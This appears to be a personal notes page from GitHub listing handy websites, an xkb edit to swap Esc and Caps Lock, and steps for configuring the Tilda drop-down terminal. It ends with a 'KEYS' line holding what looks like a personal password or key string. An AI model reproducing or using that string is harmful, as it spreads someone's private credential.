| >> checks your e-mail in every database on internet and tells you if your e-mail is owned by other sites. if you see a list of sites under you e-mail, it is time to change your e-mail's password. you can use this site to get notification when your e-mail gets leaked. | |
| "https://haveibeenpwned.com/" | |
| 3) which book? | |
| >> this site helps you to read a prtucular book that you want to read. there is a menu bar for options | |
| "http://www.openingthebook.com/whichbook/#q1=10&q2=10&q3=10&q4=10&cmd=search&search-type=1&audio=0&ebook=0&lp=0" | |
| 4) free HD pix | |
| >> this site contains over a million pictures that are free | |
| "https://pixabay.com/en/" | |
| 5) tech news | |
| >> just found it on hexchat | |
| "http://www.fudzilla.com/" | |
| 6) dzo.so | |
| >> AWESOME database for free pdf files. bunch of books about computers!!! | |
| "https://dzo.so" | |
| ########## CHANGE KEYBOARD LAYOUT | |
| sudo vim /usr/share/X11/xkb/symbols/pc | |
| >>> now change keys inside rectangle paranteses | |
| example: | |
| to swap esc and caps lock keys, I wrote Escape in CAPS section | |
| key <ESC> { [ Caps_Lock ] }; | |
| key <CAPS> { [ Escape ] }; | |
| ########## TILDA (Permanent Terminal) | |
| this is awesome! but hard to configure. okay lets configure it step by step. | |
| 1) I assume that you already downloaded it. if not just type "sudo apt-get install tilda" | |
| 2) open tilda from you start section not from terminal | |
| 3) right click on tilda terminal. and select preferences | |
| 4) just customize the appearence and colors. IMPORTANT : do not set transparency to 0. set it on "1" if nesesary. otherwise the tilda wont work. | |
| it that's the case, start tilda with this command: "tilda --background-alpha" and then "tilda --conf" | |
| 5) in "general" section, untick "always on top", tick the "do not show in taskbar" and "display on all workspaces". | |
| 6) under the "general" section there is "program exit" section go here and select "open a new termial" | |
| 7) okay close the window and go to tilda terminal and type "tilda --conf" this is going to update the configuration file of tilda | |
| 8) after that in tilda terminal type this command "pkill tilda". tilda will be closed. we are closing it because it had the old configurations. | |
| 9) start tilda by typing "tilda" on your terminal or start menu and check if your changes took effect. | |
| 10) finally go to start menu and from here go to "startup and session" add tilda here for autostart enjoy! | |
| ########## KEYS | |
| 0Degrup1Eb2Efir3Yb4169007117? |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment